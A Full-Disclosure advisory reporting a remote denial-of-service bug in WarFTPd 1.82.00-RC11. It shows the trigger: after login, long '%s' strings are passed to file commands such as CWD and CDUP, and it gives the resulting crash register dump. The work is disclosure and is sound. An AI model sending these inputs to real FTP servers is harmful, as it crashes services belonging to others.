[Full-disclosure] WarFTPd 1.82.00-RC11 Remote Denial Of Service

WarFTPd 1.82.00-RC11 Remote Denial Of Service

WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.

Example:

$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

or

ftp> cdup %s*256

Server will crash as follows:

EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(…more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540 8A08 MOV CL,BYTE PTR DS:[EAX]

Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.

The following commands found vulnerables (at least):

    CWD
    CDUP
    DELE
    NLST
    LIST
    SIZE

Well, any file related operation. Attached goes a
Python exploit.

Disclaimer

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.

Contact

Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

---

LLama Gratis a cualquier PC del Mundo.
Llamadas a fijos y moviles desde 1 centimo por minuto.
http://es.voice.yahoo.com